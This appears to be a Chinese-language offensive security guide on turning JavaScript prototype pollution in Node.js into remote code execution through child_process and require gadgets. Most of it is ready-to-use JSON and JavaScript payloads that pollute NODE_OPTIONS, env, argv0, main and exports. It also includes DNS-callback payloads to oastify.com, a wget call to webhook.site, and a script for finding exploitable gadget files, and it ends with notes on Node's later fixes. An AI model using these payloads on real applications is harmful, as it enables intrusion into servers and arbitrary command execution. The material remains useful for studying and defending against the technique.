Prototype Pollution to RCE
可能受到影响的代码
想象一个真实的JS使用以下代码:
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');
通过环境变量实现PP2RCE
PP2RCE 意味着 原型污染到远程代码执行(Remote Code Execution)。
根据这个解说,当使用 child_process
中的某个方法(如 fork
或 spawn
或其他方法)生成一个 进程 时,它会调用方法 normalizeSpawnArguments
,这个方法利用 原型污染小工具来创建新的环境变量:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
污染 __proto__
__proto__
请注意,由于node
的child_process
库中的normalizeSpawnArguments
函数的工作方式,当调用某些内容以为进程设置新的环境变量时,你只需要污染任何内容。
例如,如果你执行__proto__.avar="valuevar"
,进程将被生成一个名为avar
,值为valuevar
的变量。
然而,为了使环境变量成为第一个变量,你需要污染.env
属性,并且(仅在某些方法中)该变量将成为第一个变量(从而允许攻击)。
这就是为什么在以下攻击中**NODE_OPTIONS
**不在.env
中的原因。
const { execSync, fork } = require('child_process');
// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')
clone(USERINPUT);
var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec
DNS 交互
使用以下有效载荷,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测是否起作用:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}
或者,为了避免WAF要求域名:
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE漏洞child_process函数
在这一部分中,我们将分析child_process
中的每个函数,以执行代码并查看是否可以使用任何技术来强制该函数执行代码:
强制执行Spawn
在之前的示例中,您看到了如何触发一个功能,该功能需要调用spawn
(用于执行某些操作的child_process
的所有方法都会调用它)。在之前的示例中,这是代码的一部分,但如果代码没有调用它呢。
控制require文件路径
在这个其他解释中,用户可以控制文件路径,其中将执行require
。在这种情况下,攻击者只需要找到系统中将在导入时执行spawn方法的.js
文件。
一些常见文件导入时调用spawn函数的示例包括:
/path/to/npm/scripts/changelog.js
/opt/yarn-v1.22.19/preinstall.js
查找下面的更多文件
以下简单脚本将搜索来自child_process
的调用,而不带任何填充(以避免显示在函数内部的调用):
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
</div>
<details>
<summary>先前脚本发现的有趣文件</summary>
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/npm/scripts/**changelog.js**:16:`const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)`
* node\_modules/detect-libc/bin/**detect-libc.js**:18:`process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);`
* node\_modules/jest-expo/bin/**jest.js**:26:`const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });`
* node\_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
* node\_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
* node\_modules/runtypes/scripts/**format.js**:13:`const npmBinPath = execSync('npm bin').toString().trim();`
* node\_modules/node-pty/scripts/**publish.js**:31:`const result = cp.spawn('npm', args, { stdio: 'inherit' });`
</details>
### 通过原型污染设置要求文件路径
<div data-gb-custom-block data-tag="hint" data-style='warning'>
**先前的技术要求**用户**控制要求的文件路径**。但这并不总是正确的。
</div>
然而,如果代码在原型污染后执行要求,即使**你无法控制要求的路径**,你**可以滥用原型污染来强制执行不同的路径**。因此,即使代码行类似于 `require("./a_file.js")` 或 `require("bytes")`,它将**要求你污染的包**。
因此,如果在原型污染后执行了要求且没有生成函数,这是攻击方式:
* 找到系统中的一个**`.js`文件**,当**要求**时将**使用`child_process`执行某些内容**
* 如果你可以上传文件到攻击的平台,你可以上传一个类似的文件
* 污染路径以**强制要求加载`.js`文件**,该文件将使用`child_process`执行某些内容
* **污染环境/cmdline**以在调用`child_process`执行函数时执行任意代码(参见最初的技术)
#### 绝对要求
如果执行的要求是**绝对的**(`require("bytes")`)且**包中不包含`package.json`文件中的主要内容**,你可以**污染`main`属性**并使**要求执行不同的文件**。
<div data-gb-custom-block data-tag="tabs"></div>
<div data-gb-custom-block data-tag="tab" data-title='exploit'>
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')
clone(USERINPUT);
var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");
相对路径加载 - 1
如果加载的是相对路径而不是绝对路径,您可以让节点加载不同的路径:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')
clone(USERINPUT);
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');
相对路径 require - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')
clone(USERINPUT);
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```javascript const { fork } = require('child_process'); console.log("Hellooo from malicious"); fork('/path/to/anything'); ``` #### 相对路径 require - 3
类似于前一个示例,这个漏洞在这篇文章中被发现。
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}
require('./usage.js')
VM Gadgets
在论文https://arxiv.org/pdf/2207.11171.pdf中还指出,可以利用**vm
库的某些方法中的contextExtensions
的控制作为一个gadget。
然而,就像之前的child_process
方法一样,在最新版本中已经被修复**。
Fixes & Unexpected protections
请注意,如果正在访问的对象的属性是undefined,则原型污染会起作用。如果在代码中为该属性设置了一个值,则无法覆盖它。
在2022年6月,从此提交中,变量options
不再是{}
,而是**kEmptyObject
。这样可以防止原型污染影响options
的属性以获取RCE。
至少从v18.4.0开始,这种保护已经实施**,因此影响这些方法的spawn
和spawnSync
利用(如果未使用options
)不再起作用!
在此提交中,还在某种程度上修复了vm库中**contextExtensions
的原型污染**,将选项设置为**kEmptyObject
而不是{}
**。
其他 Gadgets
References
最后更新于